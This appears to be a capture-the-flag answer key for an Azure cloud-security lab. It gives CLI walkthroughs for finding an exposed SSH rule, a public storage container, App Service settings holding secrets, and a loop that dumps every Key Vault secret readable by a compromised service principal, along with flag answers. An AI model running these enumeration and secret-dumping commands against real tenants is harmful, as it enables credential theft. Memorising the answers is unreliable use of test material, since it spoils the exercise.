Detailed Solution:

List NSG rules:

az network nsg rule list \

--resource-group rg-prod-apps-eastus \

--nsg-name nsg-prod-linux01 \

--output table

Expected risky rule:

Name Priority Direction Access Protocol Source DestinationPortRange

------------ -------- --------- ------ -------- ------------ --------------------

Allow-SSH 100 Inbound Allow Tcp Internet 22

SSH exposed directly to the Internet is risky because it increases brute-force, credential-stuffing, and remote exploitation exposure. In a hardened Azure environment, SSH should typically be restricted through VPN, Bastion, JIT access, or trusted administrative IP ranges.

Correct answer:

B. Allow TCP 22 from Internet

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" clientSecret " : " REDACTED "

}

The App Registration application/client ID is stored in:

clientId

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================

finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================